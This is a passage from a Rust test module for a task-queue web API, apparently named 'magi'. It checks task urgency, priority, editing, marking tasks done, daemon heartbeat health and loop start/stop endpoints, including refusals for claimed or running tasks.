16576 let home = TempDir::new().unwrap();
16577 let q = Queue::at(home.path().join("queue"));
16578 let ui = Arc::new(Ui::new(
16579 q.clone(),
16580 Questions::at(home.path().join("questions")),
16581 Talks::at(home.path().join("talks")),
16582 home.path().join("runs"),
16583 home.path().into(),
16584 home.path().into(),
16585 ));
16586 let mut task = Task::new(
16587 "urgent handler".into(),
16588 "keep".into(),
16589 home.path().into(),
16590 Source::Human,
16591 );
16592 for status in [TaskStatus::Queued, TaskStatus::Held] {
16593 task.status = status;
16594 q.put(&mut task).unwrap();
16595 for urgent in [true, true, false, false] {
16596 let saved = queue_urgent(
16597 State(Arc::clone(&ui)),
16598 Path(task.short().into()),
16599 Ok(Json(UrgentBody { urgent })),
16600 )
16601 .await
16602 .unwrap();
16603 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16604 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16605 }
16606 }
16607 task.status = TaskStatus::Queued;
16608 q.put(&mut task).unwrap();
16609 let claim = q.claim(&task.id).unwrap();
16610 let error = queue_urgent(
16611 State(Arc::clone(&ui)),
16612 Path(task.id.clone()),
16613 Ok(Json(UrgentBody { urgent: true })),
16614 )
16615 .await
16616 .unwrap_err();
16617 assert_eq!(error.status, StatusCode::CONFLICT);
16618 assert!(error.message.contains("released"));
16619 drop(claim);
16620 for status in [
16621 TaskStatus::Running,
16622 TaskStatus::Done,
16623 TaskStatus::Failed,
16624 TaskStatus::Blocked,
16625 TaskStatus::Parked,
16626 ] {
16627 task.status = status;
16628 q.put(&mut task).unwrap();
16629 let error = queue_urgent(
16630 State(Arc::clone(&ui)),
16631 Path(task.id.clone()),
16632 Ok(Json(UrgentBody { urgent: false })),
16633 )
16634 .await
16635 .unwrap_err();
16636 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16637 assert!(error.message.contains(status.as_str()));
16638 }
16639 }
16640
16641 #[tokio::test]
16642 async fn urgent_api_updates_preserves_and_validates_tasks() {
16643 let f = Fixture::start().await;
16644 let q = f.queue();
16645 let mut t = Task::new(
16646 "urgent API".into(),
16647 "unchanged".into(),
16648 PathBuf::from("/repo/magi"),
16649 Source::Human,
16650 );
16651 t.attempts = 2;
16652 t.priority = 9;
16653 t.interrupt = true;
16654 t.hold_reason = Some("waiting for approval".into());
16655 for status in [TaskStatus::Queued, TaskStatus::Held] {
16656 t.status = status;
16657 q.put(&mut t).unwrap();
16658 for urgent in [true, true, false, false] {
16659 let response = f
16660 .post(
16661 &format!("/api/queue/{}/urgent", t.short()),
16662 Some(&format!("{{\"urgent\":{urgent}}}")),
16663 )
16664 .await;
16665 assert_eq!(response.status, 200, "{}", response.body);
16666 assert_eq!(response.json()["urgent"], urgent);
16667 let saved = q.get(&t.id).unwrap();
16668 let mut before = serde_json::to_value(&t).unwrap();
16669 let mut after = serde_json::to_value(saved).unwrap();
16670 before["urgent"] = urgent.into();
16671 before.as_object_mut().unwrap().remove("updated_at");
16672 after.as_object_mut().unwrap().remove("updated_at");
16673 assert_eq!(after, before);
16674 }
16675 }
16676 let route = format!("/api/queue/{}/urgent", t.id);
16677 for body in [
16678 r#"{}"#,
16679 r#"{"urgent":null}"#,
16680 r#"{"urgent":"true"}"#,
16681 r#"{"urgent":1}"#,
16682 r#"{"urgent":true,"extra":false}"#,
16683 "{",
16684 ] {
16685 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16686 }
16687 t.status = TaskStatus::Queued;
16688 q.put(&mut t).unwrap();
16689 let claim = q.claim(&t.id).unwrap();
16690 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16691 assert_eq!(response.status, 409, "{}", response.body);
16692 assert!(!q.get(&t.id).unwrap().urgent);
16693 drop(claim);
16694 for status in [
16695 TaskStatus::Running,
16696 TaskStatus::Done,
16697 TaskStatus::Failed,
16698 TaskStatus::Blocked,
16699 TaskStatus::Parked,
16700 ] {
16701 t.status = status;
16702 q.put(&mut t).unwrap();
16703 for urgent in [true, false] {
16704 let response = f
16705 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16706 .await;
16707 assert_eq!(response.status, 400, "{}", response.body);
16708 assert!(response.body.contains(status.as_str()));
16709 assert!(response.body.contains("queued or held"));
16710 assert!(!q.get(&t.id).unwrap().urgent);
16711 }
16712 }
16713 assert_eq!(
16714 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16715 .await
16716 .status,
16717 404
16718 );
16719 }
16720
16721 #[tokio::test]
16722 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16723 let f = Fixture::start().await;
16724 let queue = f.queue();
16725 let mut older = Task::new(
16726 "filed first".to_owned(),
16727 "x".to_owned(),
16728 PathBuf::from("/repo/magi"),
16729 Source::Human,
16730 );
16731 older.id = "20260101-000001-aaaa".to_owned();
16732 let mut newer = Task::new(
16733 "filed second".to_owned(),
16734 "x".to_owned(),
16735 PathBuf::from("/repo/magi"),
16736 Source::Human,
16737 );
16738 newer.id = "20260101-000002-bbbb".to_owned();
16739 queue.put(&mut older).expect("file older");
16740 queue.put(&mut newer).expect("file newer");
16741
16742 let before = f.get("/api/queue").await.json();
16745 assert_eq!(before[0]["id"], newer.id);
16746 assert_eq!(before[1]["id"], older.id);
16747
16748 let raised = f
16752 .post(
16753 &format!("/api/queue/{}/priority", older.id),
16754 Some(r#"{"priority":10}"#),
16755 )
16756 .await;
16757 assert_eq!(raised.status, 200, "{}", raised.body);
16758 assert_eq!(raised.json()["priority"], 10);
16759
16760 let after = f.get("/api/queue").await.json();
16761 let names: Vec<&str> = after
16762 .as_array()
16763 .unwrap()
16764 .iter()
16765 .map(|t| t["id"].as_str().unwrap())
16766 .collect();
16767 assert_eq!(names[0], older.id, "the raised task now sorts first");
16771 }
16772
16773 #[tokio::test]
16774 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16775 let dir = TempDir::new().unwrap();
16776 let q = Queue::at(dir.path().join("queue"));
16777 let ui = Arc::new(Ui::new(
16778 q.clone(),
16779 Questions::at(dir.path().join("questions")),
16780 Talks::at(dir.path().join("talks")),
16781 dir.path().join("runs"),
16782 dir.path().to_path_buf(),
16783 dir.path().to_path_buf(),
16784 ));
16785 let mut t = Task::new(
16786 "budget".into(),
16787 "keep".into(),
16788 dir.path().into(),
16789 Source::Human,
16790 );
16791 t.attempts = 2;
16792 t.runs.push("prior-run".into());
16793 t.hold_manual(Some("waiting".into()));
16794 q.put(&mut t).unwrap();
16795 let change = |value| {
16796 queue_attempt_limit(
16797 State(ui.clone()),
16798 Path(t.id.clone()),
16799 Ok(Json(AttemptLimitBody {
16800 attempt_limit: value,
16801 })),
16802 )
16803 };
16804 for value in [
16805 serde_json::json!(3),
16806 serde_json::Value::Null,
16807 serde_json::json!(1),
16808 ] {
16809 let response = change(value.clone()).await.unwrap();
16810 assert_eq!(
16811 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16812 value
16813 );
16814 let saved = q.get(&t.id).unwrap();
16815 assert_eq!(
16816 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16817 value
16818 );
16819 assert_eq!(saved.status, TaskStatus::Held);
16820 assert_eq!(saved.attempts, t.attempts);
16821 assert_eq!(saved.runs, t.runs);
16822 assert_eq!(saved.hold_reason, t.hold_reason);
16823 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16824 .await
16825 .unwrap()
16826 .0;
16827 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16828 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16829 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16830 assert_eq!(outcome.max_attempts, detail.max_attempts);
16831 }
16832 for value in [
16833 serde_json::json!(0),
16834 serde_json::json!(-1),
16835 serde_json::json!(1.5),
16836 serde_json::json!("3"),
16837 serde_json::json!(true),
16838 ] {
16839 assert_eq!(
16840 change(value).await.err().unwrap().status,
16841 StatusCode::BAD_REQUEST
16842 );
16843 }
16844 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16845 let claim = q.claim(&t.id).unwrap();
16846 assert_eq!(
16847 change(serde_json::json!(4)).await.err().unwrap().status,
16848 StatusCode::CONFLICT
16849 );
16850 drop(claim);
16851 for status in [
16852 TaskStatus::Running,
16853 TaskStatus::Done,
16854 TaskStatus::Failed,
16855 TaskStatus::Blocked,
16856 TaskStatus::Parked,
16857 ] {
16858 let mut stored = q.get(&t.id).unwrap();
16859 stored.status = status;
16860 q.put(&mut stored).unwrap();
16861 assert_eq!(
16862 change(serde_json::json!(4)).await.err().unwrap().status,
16863 StatusCode::BAD_REQUEST
16864 );
16865 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16866 }
16867 let mut stored = q.get(&t.id).unwrap();
16868 stored.status = TaskStatus::Queued;
16869 q.put(&mut stored).unwrap();
16870 let _ = change(serde_json::Value::Null).await.unwrap();
16871 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16872 }
16873
16874 #[tokio::test]
16875 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16876 let dir = TempDir::new().unwrap();
16877 let repo = dir.path().join("repo");
16878 std::fs::create_dir(&repo).unwrap();
16879 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16880 let q = Queue::at(dir.path().join("queue"));
16881 let ui = Arc::new(Ui::new(
16882 q.clone(),
16883 Questions::at(dir.path().join("questions")),
16884 Talks::at(dir.path().join("talks")),
16885 dir.path().join("runs"),
16886 dir.path().to_path_buf(),
16887 repo.clone(),
16888 ));
16889 let mut t = Task::new(
16890 "seats".into(),
16891 "keep instruction".into(),
16892 repo,
16893 Source::Human,
16894 );
16895 t.runs.push("prior-run".into());
16896 t.hold_manual(Some("waiting".into()));
16897 q.put(&mut t).unwrap();
16898 let change = |count| {
16899 queue_implementers(
16900 State(ui.clone()),
16901 Path(t.id.clone()),
16902 Ok(Json(ImplementersBody {
16903 implementers: count,
16904 })),
16905 )
16906 };
16907 for count in [2, 1, 2] {
16908 let response = change(count).await.unwrap();
16909 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16910 let saved = q.get(&t.id).unwrap();
16911 assert_eq!(saved.implementers(), Some(usize::from(count)));
16912 assert_eq!(saved.runs, t.runs);
16913 assert_eq!(saved.instruction, t.instruction);
16914 }
16915 for count in [0, 4] {
16916 assert_eq!(
16917 change(count).await.err().unwrap().status,
16918 StatusCode::BAD_REQUEST
16919 );
16920 }
16921 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16922 let claim = q.claim(&t.id).unwrap();
16923 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16924 drop(claim);
16925 for status in [
16926 TaskStatus::Running,
16927 TaskStatus::Done,
16928 TaskStatus::Failed,
16929 TaskStatus::Blocked,
16930 TaskStatus::Parked,
16931 ] {
16932 let mut stored = q.get(&t.id).unwrap();
16933 stored.status = status;
16934 q.put(&mut stored).unwrap();
16935 assert_eq!(
16936 change(1).await.err().unwrap().status,
16937 StatusCode::BAD_REQUEST
16938 );
16939 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16940 }
16941 }
16942
16943 #[tokio::test]
16944 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16945 let f = Fixture::start().await;
16946 let queue = f.queue();
16947 let mut task = Task::new(
16948 "in flight".to_owned(),
16949 "x".to_owned(),
16950 PathBuf::from("/repo/magi"),
16951 Source::Human,
16952 );
16953 task.start("20260902-140502-bbbb".to_owned());
16954 queue.put(&mut task).expect("file the task");
16955
16956 let res = f
16957 .post(
16958 &format!("/api/queue/{}/priority", task.id),
16959 Some(r#"{"priority":9}"#),
16960 )
16961 .await;
16962 assert_eq!(res.status, 400, "{}", res.body);
16963 assert!(
16964 res.json()["error"]
16965 .as_str()
16966 .is_some_and(|e| e.contains("running")),
16967 "{}",
16968 res.body
16969 );
16970 assert_eq!(
16971 queue.get(&task.id).expect("reload").priority,
16972 0,
16973 "the refused write must not partially apply"
16974 );
16975 }
16976
16977 #[tokio::test]
16978 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16979 let f = Fixture::start().await;
16980 let queue = f.queue();
16981 let mut task = Task::new(
16982 "old title".to_owned(),
16983 "old instruction".to_owned(),
16984 PathBuf::from("/repo/magi"),
16985 Source::Agent {
16986 run: "20260101-000000-beef".to_owned(),
16987 node: "implement".to_owned(),
16988 },
16989 );
16990 task.runs.push("20260101-000000-beef".to_owned());
16991 queue.put(&mut task).expect("file the task");
16992 let created_at = task.created_at;
16993
16994 let edited = f
16995 .post(
16996 &format!("/api/queue/{}/edit", task.id),
16997 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16998 )
16999 .await;
17000 assert_eq!(edited.status, 200, "{}", edited.body);
17001 let body = edited.json();
17002 assert_eq!(body["title"], "new title");
17003 assert_eq!(body["instruction"], "new instruction");
17004 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17005 assert_eq!(body["created_at"], created_at.to_string());
17006 assert_eq!(
17007 body["source"]["kind"], "agent",
17008 "editing a task an agent filed must not turn it human: {body}"
17009 );
17010 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17011
17012 let reloaded = queue.get(&task.id).expect("reload");
17013 assert_eq!(reloaded.title, "new title");
17014 assert_eq!(reloaded.instruction, "new instruction");
17015 }
17016
17017 #[tokio::test]
17018 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17019 let tmp = TempDir::new().expect("tempdir");
17022 let repo = tmp.path().join("repo");
17023 std::fs::create_dir_all(&repo).expect("repo dir");
17024 let judge = MOCK_AGENT_TOML.replace(
17025 "printf ok",
17026 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17027 );
17028 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17029 let f = Fixture::with_repo(repo.clone()).await;
17030 let queue = f.queue();
17031 let mut owner = Task::new(
17032 "owner".to_owned(),
17033 "review it".to_owned(),
17034 repo.clone(),
17035 Source::Human,
17036 );
17037 owner.review_branch = Some("magi/ab12/A".to_owned());
17038 queue.put(&mut owner).expect("file the owner");
17039 let mut task = Task::new(
17040 "draft".to_owned(),
17041 "old".to_owned(),
17042 repo.clone(),
17043 Source::Human,
17044 );
17045 queue.put(&mut task).expect("file the draft");
17046 let url = format!("/api/queue/{}/edit", task.id);
17047
17048 let refused = f
17049 .post(
17050 &url,
17051 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17052 )
17053 .await;
17054 assert_eq!(refused.status, 409, "{}", refused.body);
17055 let msg = refused.json()["error"]
17056 .as_str()
17057 .unwrap_or_default()
17058 .to_owned();
17059 assert!(
17060 msg.contains("magi/ab12/A") && msg.contains("force"),
17061 "{msg}"
17062 );
17063 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17064
17065 let forced = f
17066 .post(
17067 &url,
17068 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17069 )
17070 .await;
17071 assert_eq!(forced.status, 200, "{}", forced.body);
17072 }
17073
17074 #[tokio::test]
17075 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17076 let f = Fixture::start().await;
17077 let queue = f.queue();
17078 let mut task = Task::new(
17079 "in flight".to_owned(),
17080 "do not touch".to_owned(),
17081 PathBuf::from("/repo/magi"),
17082 Source::Human,
17083 );
17084 task.start("20260902-140502-bbbb".to_owned());
17085 queue.put(&mut task).expect("file the task");
17086
17087 let res = f
17088 .post(
17089 &format!("/api/queue/{}/edit", task.id),
17090 Some(r#"{"title":"x","instruction":"y"}"#),
17091 )
17092 .await;
17093 assert_eq!(res.status, 400, "{}", res.body);
17094 assert!(
17095 res.json()["error"]
17096 .as_str()
17097 .is_some_and(|e| e.contains("running")),
17098 "{}",
17099 res.body
17100 );
17101 assert_eq!(
17102 queue.get(&task.id).expect("reload").instruction,
17103 "do not touch",
17104 "the refused edit must not change the file"
17105 );
17106 }
17107
17108 #[tokio::test]
17109 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17110 let f = Fixture::start().await;
17111 let queue = f.queue();
17112 let mut task = Task::new(
17113 "busy".to_owned(),
17114 "Running right now".to_owned(),
17115 PathBuf::from("/repo/magi"),
17116 Source::Human,
17117 );
17118 queue.put(&mut task).expect("file the task");
17119 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17120
17121 let priority = f
17122 .post(
17123 &format!("/api/queue/{}/priority", task.id),
17124 Some(r#"{"priority":9}"#),
17125 )
17126 .await;
17127 assert_eq!(priority.status, 409, "{}", priority.body);
17128
17129 let edit = f
17130 .post(
17131 &format!("/api/queue/{}/edit", task.id),
17132 Some(r#"{"title":"x","instruction":"y"}"#),
17133 )
17134 .await;
17135 assert_eq!(edit.status, 409, "{}", edit.body);
17136 }
17137
17138 #[tokio::test]
17139 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17140 let f = Fixture::start().await;
17141 let queue = f.queue();
17142 let mut task = Task::new(
17143 "shipped by hand".to_owned(),
17144 "merged outside the loop".to_owned(),
17145 PathBuf::from("/repo/magi"),
17146 Source::Agent {
17147 run: "20260101-000000-b455".to_owned(),
17148 node: "implement".to_owned(),
17149 },
17150 );
17151 task.runs.push("20260101-000000-b455".to_owned());
17152 task.runs.push("20260101-000000-9af4".to_owned());
17153 queue.put(&mut task).expect("file the task");
17154 let created_at = task.created_at;
17155
17156 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17157 assert_eq!(done.status, 200, "{}", done.body);
17158 assert_eq!(done.json()["status_str"], "done");
17159
17160 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17161 assert_eq!(
17162 reloaded.runs,
17163 ["20260101-000000-b455", "20260101-000000-9af4"]
17164 );
17165 assert_eq!(
17166 reloaded.source,
17167 Source::Agent {
17168 run: "20260101-000000-b455".to_owned(),
17169 node: "implement".to_owned(),
17170 }
17171 );
17172 assert_eq!(reloaded.created_at, created_at);
17173 }
17174
17175 #[tokio::test]
17176 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17177 let f = Fixture::start().await;
17182 let queue = f.queue();
17183 let mut task = Task::new(
17184 "landed while held".to_owned(),
17185 "x".to_owned(),
17186 PathBuf::from("/repo/magi"),
17187 Source::Human,
17188 );
17189 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17190 queue.put(&mut task).expect("file the held task");
17191
17192 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17193 assert_eq!(done.status, 200, "{}", done.body);
17194 assert_eq!(done.json()["status_str"], "done");
17195 assert!(
17196 done.json()["hold_reason"].is_null(),
17197 "a done task cannot still be waiting on something: {}",
17198 done.body
17199 );
17200 }
17201
17202 #[tokio::test]
17203 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17204 let f = Fixture::start().await;
17209 let queue = f.queue();
17210 let runs = f.runs();
17211 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17212 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17216
17217 let mut task = Task::new(
17218 "landed by hand".to_owned(),
17219 "x".to_owned(),
17220 PathBuf::from("/repo/magi"),
17221 Source::Human,
17222 );
17223 task.runs.push("20260101-000000-doa1".to_owned());
17224 task.runs.push("20260101-000000-doa2".to_owned());
17225 queue.put(&mut task).expect("file the task");
17226
17227 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17228 assert_eq!(done.status, 200, "{}", done.body);
17229
17230 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17231 .expect("run still on disk under this fixture's own home");
17232 assert_eq!(
17233 reloaded_run.status,
17234 RunStatus::Superseded,
17235 "closing the task by hand must relabel the earlier blocked attempt exactly \
17236 like the loop's own settle path does"
17237 );
17238 }
17239
17240 #[tokio::test]
17241 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17242 let f = Fixture::start().await;
17247 let queue = f.queue();
17248 let runs = f.runs();
17249 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17250 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17251
17252 let mut task = Task::new(
17253 "closed with nothing actually landed".to_owned(),
17254 "x".to_owned(),
17255 PathBuf::from("/repo/magi"),
17256 Source::Human,
17257 );
17258 task.runs.push("20260101-000000-dob1".to_owned());
17259 task.runs.push("20260101-000000-dob2".to_owned());
17260 queue.put(&mut task).expect("file the task");
17261
17262 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17263 assert_eq!(done.status, 200, "{}", done.body);
17264
17265 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17266 .expect("run still on disk under this fixture's own home");
17267 assert_eq!(
17268 reloaded_run.status,
17269 RunStatus::Blocked,
17270 "the last recorded attempt never landed, so the earlier one must not be \
17271 relabelled as superseded by it"
17272 );
17273 }
17274
17275 #[tokio::test]
17276 async fn unknown_ids_are_json_not_found_on_both_stores() {
17277 let f = Fixture::start().await;
17278
17279 let run = f.get("/api/runs/nosuchrun").await;
17280 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17281
17282 assert_eq!(run.status, 404);
17283 assert_eq!(task.status, 404);
17284 assert!(
17285 run.json()["error"]
17286 .as_str()
17287 .is_some_and(|e| e.contains("run")),
17288 "the error names what was not found: {}",
17289 run.body
17290 );
17291 assert!(
17292 task.json()["error"]
17293 .as_str()
17294 .is_some_and(|e| e.contains("task")),
17295 "the error names what was not found: {}",
17296 task.body
17297 );
17298 }
17299
17300 #[tokio::test]
17301 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17302 let f = Fixture::start().await;
17303
17304 let missing = f.get("/api/health").await.json();
17305 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17306
17307 write_daemon(
17308 f.home.path(),
17309 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17310 );
17311 let stale = f.get("/api/health").await.json();
17312 assert_eq!(
17313 stale["daemon"]["running"], false,
17314 "a minute without a heartbeat is a dead daemon, not a busy one"
17315 );
17316 assert!(
17317 stale["daemon"]["stale_for_secs"]
17318 .as_i64()
17319 .is_some_and(|s| s >= 55),
17320 "staleness is reported so the UI can say how long: {stale}"
17321 );
17322
17323 write_daemon(f.home.path(), Timestamp::now());
17324 let fresh = f.get("/api/health").await.json();
17325 assert_eq!(fresh["daemon"]["running"], true);
17326 assert_eq!(fresh["daemon"]["idle"], false);
17327 assert_eq!(fresh["daemon"]["pid"], 4242);
17328 assert_eq!(fresh["daemon"]["completed"], 7);
17329 assert_eq!(
17330 fresh["daemon"]["current"][0]["task"],
17331 "20260902-140501-aaaa"
17332 );
17333 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17334 }
17335
17336 #[tokio::test]
17337 async fn the_loop_is_not_running_until_something_starts_it() {
17338 let f = Fixture::start().await;
17339
17340 let view = f.get("/api/loop").await.json();
17341 assert_eq!(view["running"], false);
17342 assert_eq!(
17343 view["owned"], false,
17344 "nobody owns a loop that does not exist: {view}"
17345 );
17346 assert_eq!(view["stopping"], false);
17347 assert_eq!(view["last_error"], Value::Null);
17348 assert_eq!(view["daemon"]["running"], false);
17349 assert_eq!(
17350 view["repo"], "/repo/magi",
17351 "the repository a start would use, named before it is started"
17352 );
17353 }
17354
17355 #[tokio::test]
17356 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17357 let f = Fixture::start().await;
17358
17359 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17360 assert_eq!(res.status, 200, "{}", res.body);
17361 let view = res.json();
17362 assert_eq!(view["running"], true);
17363 assert_eq!(
17364 view["owned"], true,
17365 "the loop the UI started is the UI's own to stop: {view}"
17366 );
17367 assert_eq!(
17368 view["merge"],
17369 Value::Null,
17370 "no override was given, so each repository's own config decides"
17371 );
17372
17373 let health = f.get("/api/health").await.json();
17377 assert_eq!(health["loop"]["running"], true, "{health}");
17378 assert_eq!(health["loop"]["owned"], true, "{health}");
17379
17380 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17381 }
17382
17383 #[tokio::test]
17384 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17385 let f = Fixture::start().await;
17386 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17387 assert_eq!(first.status, 200, "{}", first.body);
17388
17389 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17390 assert_eq!(
17391 again.status, 409,
17392 "two loops on one queue race for the same claims: {}",
17393 again.body
17394 );
17395 assert!(
17396 again.json()["error"]
17397 .as_str()
17398 .is_some_and(|e| e.contains("already running the loop")),
17399 "the refusal has to say why: {}",
17400 again.body
17401 );
17402 assert_eq!(
17403 f.get("/api/loop").await.json()["running"],
17404 true,
17405 "and the loop that was already running is untouched by it"
17406 );
17407
17408 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17409 }
17410
17411 #[tokio::test]
17412 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17413 let f = Fixture::start().await;
17414 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17415
17416 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17417 assert_eq!(
17418 res.status, 200,
17419 "the answer must not wait for the loop: a run in flight is tens of \
17420 minutes and the operator is holding a phone: {}",
17421 res.body
17422 );
17423
17424 let view = settled(&f, |v| v["running"] == false).await;
17425 assert_eq!(view["owned"], false);
17426 assert_eq!(
17427 view["stopping"], false,
17428 "a loop that has stopped is not still stopping: {view}"
17429 );
17430 assert_eq!(
17431 view["last_error"],
17432 Value::Null,
17433 "a loop that was asked to stop did not fail: {view}"
17434 );
17435
17436 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17439 assert_eq!(twice.status, 200, "{}", twice.body);
17440 }
17441
17442 #[tokio::test]
17443 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
17444 let f = Fixture::start().await;
17445 write_daemon(f.home.path(), Timestamp::now());
17448
17449 let view = f.get("/api/loop").await.json();
17450 assert_eq!(view["running"], false, "not in this process: {view}");
17451 assert_eq!(view["owned"], false, "and not this process's to control");
17452 assert_eq!(
17453 view["daemon"]["running"], true,
17454 "but a loop is alive somewhere, which is what the UI must say"
17455 );
17456 assert_eq!(view["daemon"]["pid"], 4242);
17457
17458 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
17459 let res = f.post("/api/loop", Some(body)).await;
17460 assert_eq!(
17461 res.status, 409,
17462 "neither button may pretend to work on someone else's loop: {}",
17463 res.body
17464 );
17465 assert!(
17466 res.json()["error"]
17467 .as_str()
17468 .is_some_and(|e| e.contains("4242")),
17469 "the refusal has to name the process the operator must go to: {}",
17470 res.body
17471 );
17472 }
17473 assert_eq!(
17474 f.get("/api/loop").await.json()["running"],
17475 false,
17476 "and the refusal started nothing"
17477 );
17478 }
17479
17480 #[tokio::test]
17481 async fn a_stale_status_file_is_not_a_foreign_owner() {
17482 let f = Fixture::start().await;
17483 write_daemon(
17484 f.home.path(),
17485 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17486 );
17487
17488 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17489 assert_eq!(
17490 res.status, 200,
17491 "a daemon killed a minute ago must not lock the loop out of its \
17492 own home for good: {}",
17493 res.body
17494 );
17495 assert_eq!(res.json()["running"], true);
17496
17497 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17498 }
17499
17500 #[tokio::test]
17501 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
17502 let f = Fixture::start().await;
17503 let before = f.get("/api/health").await.json()["loop_rev"]
17504 .as_u64()
17505 .expect("a loop revision");
17506
17507 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17508
17509 let after = f.get("/api/health").await.json()["loop_rev"]
17510 .as_u64()
17511 .expect("a loop revision");
17512 assert!(
17513 after > before,
17514 "the loop is in-process state, so this counter is the only thing \
17515 that tells a second device the first one started it: {before} -> \
17516 {after}"
17517 );
17518
17519 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17520 }
17521
17522 #[tokio::test]
17523 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
17524 let f = Fixture::with_loop(launch_broken).await;
17525
17526 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17527 assert_eq!(
17528 res.status, 200,
17529 "starting it is not the failure: {}",
17530 res.body
17531 );
17532
17533 let view = settled(&f, |v| v["last_error"].is_string()).await;
17534 assert_eq!(
17535 view["running"], false,
17536 "a loop that died must not read as running, or the operator has \
17537 nothing to press: {view}"
17538 );
17539 assert_eq!(view["owned"], false);
17540 assert!(
17541 view["last_error"]
17542 .as_str()
17543 .is_some_and(|e| e.contains("read-only file system")),
17544 "the phone is where a loop that died at 3am is visible: {view}"
17545 );
17546
17547 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17550 assert_eq!(again.status, 200, "{}", again.body);
17551 assert!(
17552 again.json()["last_error"]
17553 .as_str()
17554 .is_none_or(|e| !e.contains("read-only file system")),
17555 "a fresh start does not keep showing why the last one died: {}",
17556 again.body
17557 );
17558 }
17559
17560 #[tokio::test]
17561 async fn a_newer_daemon_status_file_still_renders() {
17562 let f = Fixture::start().await;
17563 std::fs::write(
17566 f.home.path().join("daemon.json"),
17567 serde_json::json!({
17568 "schema": 2,
17569 "updated_at": Timestamp::now().to_string(),
17570 "idle": true,
17571 "surprise": { "nested": [1, 2, 3] },
17572 })
17573 .to_string(),
17574 )
17575 .expect("write daemon.json");
17576
17577 let health = f.get("/api/health").await;
17578
17579 assert_eq!(health.status, 200);
17580 assert_eq!(health.json()["daemon"]["running"], true);
17581 }
17582
17583 #[tokio::test]
